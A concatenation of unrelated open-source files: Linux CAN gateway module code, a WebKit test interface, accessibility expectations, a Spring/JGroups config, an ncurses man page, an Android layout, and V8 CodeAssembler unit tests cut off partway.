kmem_cache_destroy(cgw_cache);
return -ENOBUFS;
}
/* Only the first call to __rtnl_register can fail */
__rtnl_register(PF_CAN, RTM_NEWROUTE, cgw_create_job, NULL, NULL);
__rtnl_register(PF_CAN, RTM_DELROUTE, cgw_remove_job, NULL, NULL);
return 0;
}
static __exit void cgw_module_exit(void)
{
rtnl_unregister_all(PF_CAN);
unregister_netdevice_notifier(¬ifier);
rtnl_lock();
cgw_remove_all_jobs();
rtnl_unlock();
rcu_barrier(); /* Wait for completion of call_rcu()'s */
kmem_cache_destroy(cgw_cache);
}
module_init(cgw_module_init);
module_exit(cgw_module_exit);
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2015 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
* THE POSSIBILITY OF SUCH DAMAGE.
*/
interface UIScriptController {
void doAsyncTask(object callback); // Used to test the harness.
void zoomToScale(double scale, object callback);
// Interaction.
// These functions post events asynchronously. The callback is fired when the events have been dispatched, but any
// resulting behavior may also be asynchronous.
void touchDownAtPoint(long x, long y, long touchCount, object callback);
void liftUpAtPoint(long x, long y, long touchCount, object callback);
void singleTapAtPoint(long x, long y, object callback);
void doubleTapAtPoint(long x, long y, object callback);
void typeCharacterUsingHardwareKeyboard(DOMString character, object callback);
void keyDownUsingHardwareKeyboard(DOMString character, object callback);
void keyUpUsingHardwareKeyboard(DOMString character, object callback);
attribute object didShowKeyboardCallback;
attribute object didHideKeyboardCallback;
attribute object willBeginZoomingCallback;
attribute object didEndZoomingCallback;
attribute object didEndScrollingCallback;
// View state
readonly attribute double zoomScale;
readonly attribute double minimumZoomScale;
readonly attribute double maximumZoomScale;
readonly attribute object contentVisibleRect; // Returned object has 'left', 'top', 'width', 'height' properties.
void uiScriptComplete(DOMString result);
};
| {
"pile_set_name": "Github"
} |
AXWebArea
++AXGroup
++++AXTextField AXValue='Readonly-false input'
++AXGroup
++++AXTextField AXValue='Readonly-true input'
++AXGroup AXDescription='Readonly-false plain div'
++AXGroup AXDescription='Readonly-true plain div'
++AXTextArea AXDescription='Readonly-false contenteditable div'
++AXTextArea AXDescription='Readonly-true contenteditable div'
++AXTextField AXDescription='Readonly-false role unimplemented textbox'
++AXTextField AXDescription='Readonly-true role unimplemented textbox'
++AXTextField AXDescription='Readonly-false contenteditable textbox'
++AXTextField AXDescription='Readonly-true contenteditable textbox'
++AXCheckBox AXValue='0' AXDescription='Readonly checkbox'
++AXComboBox AXDescription='Readonly combobox'
++AXList AXDescription='Readonly listbox'
++AXRadioGroup AXDescription='Readonly radiogroup'
++AXSlider AXValue='50' AXDescription='Readonly slider'
++AXIncrementor AXValue='0' AXDescription='Readonly spinbutton'
++AXMenuItem AXValue='0' AXDescription='Readonly menuitemcheckbox'
++AXMenuItem AXValue='0' AXDescription='Readonly menuitemradio'
++AXTextField AXDescription='Readonly searchbox'
++AXCheckBox AXValue='0' AXDescription='Readonly switch' | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xmlns:c="http://www.springframework.org/schema/c"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:util="http://www.springframework.org/schema/util"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd
http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util-3.0.xsd"
default-lazy-init="false"
default-autowire="constructor">
<bean id="cluster" class="co.paralleluniverse.galaxy.jgroups.JGroupsCluster">
<constructor-arg name="nodeId" value="0"/>
<constructor-arg name="jgroupsClusterName" value="cluster1"/>
<property name="hasServer" value="true"/>
<property name="jgroupsConf">
<value>
<![CDATA[
<config xmlns="urn:org:jgroups"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="urn:org:jgroups http://www.jgroups.org/schema/JGroups-3.1.xsd">
<UDP
ip_macst="false"
tos="8"
ucast_recv_buf_size="20M"
ucast_send_buf_size="640K"
loopback="true"
discard_incompatible_packets="true"
max_bundle_size="64K"
max_bundle_timeout="30"
ip_ttl="${jgroups.udp.ip_ttl:8}"
enable_bundling="true"
enable_diagnostics="true"
thread_naming_pattern="cl"
timer_type="new"
timer.min_threads="4"
timer.max_threads="10"
timer.keep_alive_time="3000"
timer.queue_max_size="500"/>
<PING timeout="2000"
num_initial_members="4"/>
<MERGE3 max_interval="30000"
min_interval="10000"/>
<FD_SOCK/>
<FD_ALL/>
<VERIFY_SUSPECT timeout="1500" />
<BARRIER />
<pbcast.NAKACK2 xmit_interval="1000"
xmit_table_num_rows="100"
xmit_table_msgs_per_row="2000"
xmit_table_max_compaction_time="30000"
max_msg_batch_size="500"
use_mcast_xmit="false"
discard_delivered_msgs="true"/>
<UNICAST />
<pbcast.STABLE stability_delay="1000" desired_avg_gossip="50000"
max_bytes="4M"/>
<pbcast.GMS print_local_addr="true" join_timeout="3000"
view_bundling="true"/>
<SEQUENCER />
<UFC max_credits="2M"
min_threshold="0.4"/>
<MFC max_credits="2M"
min_threshold="0.4"/>
<FRAG2 frag_size="60K" />
<pbcast.STATE_TRANSFER />
<COUNTER bypass_bundling="true"
timeout="5000"/>
</config>
]]>
</value>
</property>
<property name="jgroupsThreadPool">
<bean class="co.paralleluniverse.galaxy.core.ConfigurableThreadPool">
<constructor-arg name="corePoolSize" value="2"/>
<constructor-arg name="maximumPoolSize" value="8"/>
<constructor-arg name="keepAliveMillis" value="5000"/>
<constructor-arg name="maxQueueSize" value="500"/>
</bean>
</property>
</bean>
</beans>
| {
"pile_set_name": "Github"
} |
.\"***************************************************************************
.\" Copyright (c) 2002-2005,2006 Free Software Foundation, Inc. *
.\" *
.\" Permission is hereby granted, free of charge, to any person obtaining a *
.\" copy of this software and associated documentation files (the *
.\" "Software"), to deal in the Software without restriction, including *
.\" without limitation the rights to use, copy, modify, merge, publish, *
.\" distribute, distribute with modifications, sublicense, and/or sell *
.\" copies of the Software, and to permit persons to whom the Software is *
.\" furnished to do so, subject to the following conditions: *
.\" *
.\" The above copyright notice and this permission notice shall be included *
.\" in all copies or substantial portions of the Software. *
.\" *
.\" THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS *
.\" OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF *
.\" MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. *
.\" IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, *
.\" DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR *
.\" OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR *
.\" THE USE OR OTHER DEALINGS IN THE SOFTWARE. *
.\" *
.\" Except as contained in this notice, the name(s) of the above copyright *
.\" holders shall not be used in advertising or otherwise to promote the *
.\" sale, use or other dealings in this Software without prior written *
.\" authorization. *
.\"***************************************************************************
.\"
.\" $Id: curs_addwstr.3x,v 1.7 2006/02/25 20:59:08 tom Exp $
.TH curs_addwstr 3X ""
.na
.hy 0
.SH NAME
\fBaddwstr\fR,
\fBaddnwstr\fR,
\fBwaddwstr\fR,
\fBwaddnwstr\fR,
\fBmvaddwstr\fR,
\fBmvaddnwstr\fR,
\fBmvwaddwstr\fR,
\fBmvwaddnwstr\fR \- add a string of wide characters to a \fBcurses\fR window and advance cursor
.ad
.hy
.SH SYNOPSIS
.nf
\fB#include <curses.h>\fR
.PP
\fBint addwstr(const wchar_t *\fR\fIwstr\fR\fB);\fR
.br
\fBint addnwstr(const wchar_t *\fR\fIwstr\fR\fB, int \fR\fIn\fR\fB);\fR
.br
\fBint waddwstr(WINDOW *\fR\fIwin\fR\fB, const wchar_t *\fR\fIwstr\fR\fB);\fR
.br
\fBint waddnwstr(WINDOW *\fR\fIwin\fR\fB, const wchar_t *\fR\fIwstr\fR\fB, int \fR\fIn\fR\fB);\fR
.br
\fBint mvaddwstr(int \fR\fIy\fR\fB, int \fR\fIx\fR\fB, const wchar_t *\fR\fIwstr\fR\fB);\fR
.br
\fBint mvaddnwstr(int \fR\fIy\fR\fB, int \fR\fIx\fR\fB, const wchar_t *\fR\fIwstr\fR\fB, int \fR\fIn\fR\fB);\fR
.br
\fBint mvwaddwstr(WINDOW *\fR\fIwin\fR\fB, int \fR\fIy\fR\fB, int \fR\fIx\fR\fB, const wchar_t *\fR\fIwstr\fR\fB);\fR
.br
\fBint mvwaddnwstr(WINDOW *\fR\fIwin\fR\fB, int \fR\fIy\fR\fB, int \fR\fIx\fR\fB, const wchar_t *\fR\fIwstr\fR\fB, int \fR\fIn\fR\fB);\fR
.fi
.SH DESCRIPTION
These routines write the characters of the
(null-terminated) \fBwchar_t\fR character string
\fIwstr\fR on the given window.
It is similar to constructing a \fBcchar_t\fR for each wchar_t in the string,
then calling \fBwadd_wch\fR for the resulting \fBcchar_t\fR.
.PP
The \fImv\fR routines perform cursor movement once, before writing any
characters.
Thereafter, the cursor is advanced as a side-effect of writing to the window.
.PP
The four routines with \fIn\fR as the last argument
write at most \fIn\fR \fBwchar_t\fR characters.
If \fIn\fR is -1, then the entire string will be added,
up to the maximum number of characters that will fit on the line,
or until a terminating null is reached.
.SH RETURN VALUES
All routines return the integer \fBERR\fR upon failure and \fBOK\fR on success.
.SH NOTES
Note that all of these routines except \fBwaddnwstr\fR may be macros.
.SH PORTABILITY
All these entry points are described in the XSI Curses standard, Issue 4.
.SH SEE ALSO
\fBcurses\fR(3X),
\fBcurs_add_wch\fR(3X)
.\"#
.\"# The following sets edit modes for GNU EMACS
.\"# Local Variables:
.\"# mode:nroff
.\"# fill-column:79
.\"# End:
| {
"pile_set_name": "Github"
} |
1
2
3
1
2
3
wwow
wwow
wwow
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<!-- Copyright (C) 2006 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<!--
This is the basic layout for a screen, with all of its features enabled.
-->
<!-- Title bar and content -->
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:fitsSystemWindows="true"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<!-- Popout bar for action modes -->
<ViewStub android:id="@+id/action_mode_bar_stub"
android:inflatedId="@+id/action_mode_bar"
android:layout="@layout/abc_action_mode_bar"
android:layout_width="fill_parent"
android:layout_height="wrap_content"/>
<!-- Title bar -->
<RelativeLayout android:id="@+id/title_container"
style="?android:attr/windowTitleBackgroundStyle"
android:layout_width="fill_parent"
android:layout_height="?android:attr/windowTitleSize"
>
<ImageView android:id="@+id/left_icon"
android:layout_width="16dip"
android:layout_height="16dip"
android:layout_marginRight="5dip"
android:layout_alignParentLeft="true"
android:layout_centerVertical="true"
android:visibility="gone"
android:scaleType="fitCenter"
/>
<LinearLayout android:id="@+id/right_container"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentRight="true"
android:layout_centerVertical="true"
>
<ImageView android:id="@+id/right_icon"
android:layout_width="16dip"
android:layout_height="16dip"
android:layout_marginLeft="5dip"
android:layout_gravity="center_vertical"
android:visibility="gone"
android:scaleType="fitCenter"
/>
<ProgressBar android:id="@+id/progress_circular"
style="?android:attr/progressBarStyleSmallTitle"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginLeft="5dip"
android:layout_gravity="center_vertical"
android:visibility="gone"
android:max="10000"
/>
</LinearLayout>
<ProgressBar android:id="@+id/progress_horizontal"
style="?android:attr/progressBarStyleHorizontal"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:layout_marginLeft="2dip"
android:layout_toLeftOf="@id/right_container"
android:layout_toRightOf="@id/left_icon"
android:layout_centerVertical="true"
android:visibility="gone"
android:max="10000"
/>
<TextView android:id="@+id/title"
style="?android:attr/windowTitleStyle"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:background="@null"
android:fadingEdge="horizontal"
android:scrollHorizontally="true"
android:gravity="center_vertical"
android:layout_toLeftOf="@id/right_container"
android:layout_toRightOf="@id/left_icon"
/>
</RelativeLayout>
<!-- Content -->
<FrameLayout android:id="@id/action_bar_activity_content"
android:layout_width="fill_parent"
android:layout_height="0dip"
android:layout_weight="1"
android:foregroundGravity="fill_horizontal|top"
android:foreground="?android:attr/windowContentOverlay"
/>
</LinearLayout>
| {
"pile_set_name": "Github"
} |
// Copyright 2015 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "src/codegen/code-factory.h"
#include "src/compiler/code-assembler.h"
#include "src/compiler/node-properties.h"
#include "src/compiler/opcodes.h"
#include "src/execution/isolate.h"
#include "src/objects/heap-number-inl.h"
#include "src/objects/objects-inl.h"
#include "test/cctest/compiler/code-assembler-tester.h"
#include "test/cctest/compiler/function-tester.h"
namespace v8 {
namespace internal {
namespace compiler {
namespace {
using Variable = CodeAssemblerVariable;
TNode<Smi> SmiTag(CodeAssembler* m, Node* value) {
int32_t constant_value;
if (m->ToInt32Constant(value, &constant_value) &&
Smi::IsValid(constant_value)) {
return m->SmiConstant(Smi::FromInt(constant_value));
}
return m->BitcastWordToTaggedSigned(
m->WordShl(value, m->IntPtrConstant(kSmiShiftSize + kSmiTagSize)));
}
Node* UndefinedConstant(CodeAssembler* m) {
return m->LoadRoot(RootIndex::kUndefinedValue);
}
Node* LoadObjectField(CodeAssembler* m, Node* object, int offset,
MachineType type = MachineType::AnyTagged()) {
return m->Load(type, object, m->IntPtrConstant(offset - kHeapObjectTag));
}
Node* LoadMap(CodeAssembler* m, Node* object) {
return LoadObjectField(m, object, JSObject::kMapOffset);
}
} // namespace
TEST(SimpleSmiReturn) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
m.Return(SmiTag(&m, m.Int32Constant(37)));
FunctionTester ft(asm_tester.GenerateCode());
CHECK_EQ(37, ft.CallChecked<Smi>()->value());
}
TEST(SimpleIntPtrReturn) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
int test;
m.Return(m.BitcastWordToTagged(
m.IntPtrConstant(reinterpret_cast<intptr_t>(&test))));
FunctionTester ft(asm_tester.GenerateCode());
MaybeHandle<Object> result = ft.Call();
CHECK_EQ(reinterpret_cast<Address>(&test), result.ToHandleChecked()->ptr());
}
TEST(SimpleDoubleReturn) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
m.Return(m.NumberConstant(0.5));
FunctionTester ft(asm_tester.GenerateCode());
CHECK_EQ(0.5, ft.CallChecked<HeapNumber>()->value());
}
TEST(SimpleCallRuntime1Arg) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
TNode<Context> context =
m.HeapConstant(Handle<Context>(isolate->native_context()));
TNode<Smi> b = SmiTag(&m, m.Int32Constant(0));
m.Return(m.CallRuntime(Runtime::kIsSmi, context, b));
FunctionTester ft(asm_tester.GenerateCode());
CHECK(ft.CallChecked<Oddball>().is_identical_to(
isolate->factory()->true_value()));
}
TEST(SimpleTailCallRuntime1Arg) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
TNode<Context> context =
m.HeapConstant(Handle<Context>(isolate->native_context()));
TNode<Smi> b = SmiTag(&m, m.Int32Constant(0));
m.TailCallRuntime(Runtime::kIsSmi, context, b);
FunctionTester ft(asm_tester.GenerateCode());
CHECK(ft.CallChecked<Oddball>().is_identical_to(
isolate->factory()->true_value()));
}
TEST(SimpleCallRuntime2Arg) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
TNode<Context> context =
m.HeapConstant(Handle<Context>(isolate->native_context()));
TNode<Smi> a = SmiTag(&m, m.Int32Constant(2));
TNode<Smi> b = SmiTag(&m, m.Int32Constant(4));
m.Return(m.CallRuntime(Runtime::kAdd, context, a, b));
FunctionTester ft(asm_tester.GenerateCode());
CHECK_EQ(6, ft.CallChecked<Smi>()->value());
}
TEST(SimpleTailCallRuntime2Arg) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
TNode<Context> context =
m.HeapConstant(Handle<Context>(isolate->native_context()));
TNode<Smi> a = SmiTag(&m, m.Int32Constant(2));
TNode<Smi> b = SmiTag(&m, m.Int32Constant(4));
m.TailCallRuntime(Runtime::kAdd, context, a, b);
FunctionTester ft(asm_tester.GenerateCode());
CHECK_EQ(6, ft.CallChecked<Smi>()->value());
}
namespace {
Handle<JSFunction> CreateSumAllArgumentsFunction(FunctionTester* ft) {
const char* source =
"(function() {\n"
" var sum = 0 + this;\n"
" for (var i = 0; i < arguments.length; i++) {\n"
" sum += arguments[i];\n"
" }\n"
" return sum;\n"
"})";
return ft->NewFunction(source);
}
} // namespace
TEST(SimpleCallJSFunction0Arg) {
Isolate* isolate(CcTest::InitIsolateOnce());
const int kNumParams = 1;
CodeAssemblerTester asm_tester(isolate, kNumParams);
CodeAssembler m(asm_tester.state());
{
Node* function = m.Parameter(0);
Node* context = m.Parameter(kNumParams + 2);
Node* receiver = SmiTag(&m, m.Int32Constant(42));
Callable callable = CodeFactory::Call(isolate);
TNode<Object> result = m.CallJS(callable, context, function, receiver);
m.Return(result);
}
FunctionTester ft(asm_tester.GenerateCode(), kNumParams);
Handle<JSFunction> sum = CreateSumAllArgumentsFunction(&ft);
MaybeHandle<Object> result = ft.Call(sum);
CHECK_EQ(Smi::FromInt(42), *result.ToHandleChecked());
}
TEST(SimpleCallJSFunction1Arg) {
Isolate* isolate(CcTest::InitIsolateOnce());
const int kNumParams = 2;
CodeAssemblerTester asm_tester(isolate, kNumParams);
CodeAssembler m(asm_tester.state());
{
Node* function = m.Parameter(0);
Node* context = m.Parameter(1);
Node* receiver = SmiTag(&m, m.Int32Constant(42));
Node* a = SmiTag(&m, m.Int32Constant(13));
Callable callable = CodeFactory::Call(isolate);
TNode<Object> result = m.CallJS(callable, context, function, receiver, a);
m.Return(result);
}
FunctionTester ft(asm_tester.GenerateCode(), kNumParams);
Handle<JSFunction> sum = CreateSumAllArgumentsFunction(&ft);
MaybeHandle<Object> result = ft.Call(sum);
CHECK_EQ(Smi::FromInt(55), *result.ToHandleChecked());
}
TEST(SimpleCallJSFunction2Arg) {
Isolate* isolate(CcTest::InitIsolateOnce());
const int kNumParams = 2;
CodeAssemblerTester asm_tester(isolate, kNumParams);
CodeAssembler m(asm_tester.state());
{
Node* function = m.Parameter(0);
Node* context = m.Parameter(1);
Node* receiver = SmiTag(&m, m.Int32Constant(42));
Node* a = SmiTag(&m, m.Int32Constant(13));
Node* b = SmiTag(&m, m.Int32Constant(153));
Callable callable = CodeFactory::Call(isolate);
TNode<Object> result =
m.CallJS(callable, context, function, receiver, a, b);
m.Return(result);
}
FunctionTester ft(asm_tester.GenerateCode(), kNumParams);
Handle<JSFunction> sum = CreateSumAllArgumentsFunction(&ft);
MaybeHandle<Object> result = ft.Call(sum);
CHECK_EQ(Smi::FromInt(208), *result.ToHandleChecked());
}
TEST(VariableMerge1) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
Variable var1(&m, MachineRepresentation::kTagged);
CodeAssemblerLabel l1(&m), l2(&m), merge(&m);
TNode<Int32T> temp = m.Int32Constant(0);
var1.Bind(temp);
m.Branch(m.Int32Constant(1), &l1, &l2);
m.Bind(&l1);
CHECK_EQ(var1.value(), temp);
m.Goto(&merge);
m.Bind(&l2);
CHECK_EQ(var1.value(), temp);
m.Goto(&merge);
m.Bind(&merge);
CHECK_EQ(var1.value(), temp);
}
TEST(VariableMerge2) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
Variable var1(&m, MachineRepresentation::kTagged);
CodeAssemblerLabel l1(&m), l2(&m), merge(&m);
TNode<Int32T> temp = m.Int32Constant(0);
var1.Bind(temp);
m.Branch(m.Int32Constant(1), &l1, &l2);
m.Bind(&l1);
CHECK_EQ(var1.value(), temp);
m.Goto(&merge);
m.Bind(&l2);
TNode<Int32T> temp2 = m.Int32Constant(2);
var1.Bind(temp2);
CHECK_EQ(var1.value(), temp2);
m.Goto(&merge);
m.Bind(&merge);
CHECK_NE(var1.value(), temp);
}
TEST(VariableMerge3) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
Variable var1(&m, MachineRepresentation::kTagged);
Variable var2(&m, MachineRepresentation::kTagged);
CodeAssemblerLabel l1(&m), l2(&m), merge(&m);
TNode<Int32T> temp = m.Int32Constant(0);
var1.Bind(temp);
var2.Bind(temp);
m.Branch(m.Int32Constant(1), &l1, &l2);
m.Bind(&l1);
CHECK_EQ(var1.value(), temp);
m.Goto(&merge);
m.Bind(&l2);
TNode<Int32T> temp2 = m.Int32Constant(2);
var1.Bind(temp2);
CHECK_EQ(var1.value(), temp2);
m.Goto(&merge);
m.Bind(&merge);
CHECK_NE(var1.value(), temp);
CHECK_NE(var1.value(), temp2);
CHECK_EQ(var2.value(), temp);
}
TEST(VariableMergeBindFirst) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
Variable var1(&m, MachineRepresentation::kTagged);
CodeAssemblerLabel l1(&m), l2(&m), merge(&m, &var1), end(&m);
TNode<Int32T> temp = m.Int32Constant(0);
var1.Bind(temp);
m.Branch(m.Int32Constant(1), &l1, &l2);
m.Bind(&l1);
CHECK_EQ(var1.value(), temp);
m.Goto(&merge);
m.Bind(&merge);
CHECK(var1.value() != temp);
CHECK_NOT_NULL(var1.value());
m.Goto(&end);
m.Bind(&l2);
TNode<Int32T> temp2 = m.Int32Constant(2);
var1.Bind(temp2);
CHECK_EQ(var1.value(), temp2);
m.Goto(&merge);
m.Bind(&end);
CHECK(var1.value() != temp);
CHECK_NOT_NULL(var1.value());
}
TEST(VariableMergeSwitch) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
Variable var1(&m, MachineRepresentation::kTagged);
CodeAssemblerLabel l1(&m), l2(&m), default_label(&m);
CodeAssemblerLabel* labels[] = {&l1, &l2};
int32_t values[] = {1, 2};
TNode<Smi> temp1 = m.SmiConstant(0);
var1.Bind(temp1);
m.Switch(m.Int32Constant(2), &default_label, values, labels, 2);
m.Bind(&l1);
CHECK_EQ(temp1, var1.value());
m.Return(temp1);
m.Bind(&l2);
CHECK_EQ(temp1, var1.value());
TNode<Smi> temp2 = m.SmiConstant(7);
var1.Bind(temp2);
m.Goto(&default_label);
m.Bind(&default_label);
CHECK_EQ(IrOpcode::kPhi, var1.value()->opcode());
CHECK_EQ(2, var1.value()->op()->ValueInputCount());
CHECK_EQ(temp1, NodeProperties::GetValueInput(var1.value(), 0));
CHECK_EQ(temp2, NodeProperties::GetValueInput(var1.value(), 1));
m.Return(temp1);
}
TEST(SplitEdgeBranchMerge) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
CodeAssemblerLabel l1(&m), merge(&m);
m.Branch(m.Int32Constant(1), &l1, &merge);
m.Bind(&l1);
m.Goto(&merge);
m.Bind(&merge);
USE(asm_tester.GenerateCode());
}
TEST(SplitEdgeSwitchMerge) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
CodeAssemblerLabel l1(&m), l2(&m), l3(&m), default_label(&m);
CodeAssemblerLabel* labels[] = {&l1, &l2};
int32_t values[] = {1, 2};
m.Branch(m.Int32Constant(1), &l3, &l1);
m.Bind(&l3);
m.Switch(m.Int32Constant(2), &default_label, values, labels, 2);
m.Bind(&l1);
m.Goto(&l2);
m.Bind(&l2);
m.Goto(&default_label);
m.Bind(&default_label);
USE(asm_tester.GenerateCode());
}
TEST(TestToConstant) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
int32_t value32;
int64_t value64;
Node* a = m.Int32Constant(5);
CHECK(m.ToInt32Constant(a, &value32));
CHECK(m.ToInt64Constant(a, &value64));
a = m.Int64Constant(static_cast<int64_t>(1) << 32);
CHECK(!m.ToInt32Constant(a, &value32));
CHECK(m.ToInt64Constant(a, &value64));
a = m.Int64Constant(13);
CHECK(m.ToInt32Constant(a, &value32));
CHECK(m.ToInt64Constant(a, &value64));
a = UndefinedConstant(&m);
CHECK(!m.ToInt32Constant(a, &value32));
CHECK(!m.ToInt64Constant(a, &value64));
a = UndefinedConstant(&m);
CHECK(!m.ToInt32Constant(a, &value32));
CHECK(!m.ToInt64Constant(a, &value64));
}
TEST(DeferredCodePhiHints) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
CodeAssemblerLabel block1(&m, CodeAssemblerLabel::kDeferred);
m.Goto(&block1);
m.Bind(&block1);
{
Variable var_object(&m, MachineRepresentation::kTagged);
CodeAssemblerLabel loop(&m, &var_object);
var_object.Bind(m.SmiConstant(0));
m.Goto(&loop);
m.Bind(&loop);
{
Node* map = LoadMap(&m, var_object.value());
var_object.Bind(map);
m.Goto(&loop);
}
}
CHECK(!asm_tester.GenerateCode().is_null());
}
TEST(TestOutOfScopeVariable) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
CodeAssemblerLabel block1(&m);
CodeAssemblerLabel block2(&m);
CodeAssemblerLabel block3(&m);
CodeAssemblerLabel block4(&m);
m.Branch(m.WordEqual(m.UncheckedCast<IntPtrT>(m.Parameter(0)),
m.IntPtrConstant(0)),
&block1, &block4);
m.Bind(&block4);
{
Variable var_object(&m, MachineRepresentation::kTagged);
m.Branch(m.WordEqual(m.UncheckedCast<IntPtrT>(m.Parameter(0)),
m.IntPtrConstant(0)),
&block2, &block3);
m.Bind(&block2);
var_object.Bind(m.IntPtrConstant(55));
m.Goto(&block1);
m.Bind(&block3);
var_object.Bind(m.IntPtrConstant(66));
m.Goto(&block1);
}
m.Bind(&block1);
CHECK(!asm_tester.GenerateCode().is_null());
}
TEST(ExceptionHandler) {
Isolate* isolate(CcTest::InitIsolateOnce());
const int kNumParams = 0;
CodeAssemblerTester asm_tester(isolate, kNumParams);
CodeAssembler m(asm_tester.state());
CodeAssembler::TVariable<Object> var(m.SmiConstant(0), &m);
CodeAssemblerLabel exception(&m, {&var}, CodeAssemblerLabel::kDeferred);
{
ScopedExceptionHandler handler(&m, &exception, &var);
TNode<Context> context =
m.HeapConstant(Handle<Context>(isolate->native_context()));
m.CallRuntime(Runtime::kThrow, context, m.SmiConstant(2));
}
m.Return(m.SmiConstant(1));
m.Bind(&exception);
m.Return(var.value());
FunctionTester ft(asm_tester.GenerateCode(), kNumParams);
CHECK_EQ(2, ft.CallChecked<Smi>()->value());
}
TEST(TestCodeAssemblerCodeComment) {
i::FLAG_code_comments = true;
Isolate* isolate(CcTest::InitIsolateOnce());
const int kNumParams = 0;
CodeAssemblerTester asm_tester(isolate, kNumParams);
CodeAssembler m(asm_tester.state());
m.Comment("Comment1");
m.Return(m.SmiConstant(1));
Handle<Code> code = asm_tester.GenerateCode();
CHECK_NE(code->code_comments(), kNullAddress);
CodeCommentsIterator it(code->code_comments(), code->code_comments_size());
CHECK(it.HasCurrent());
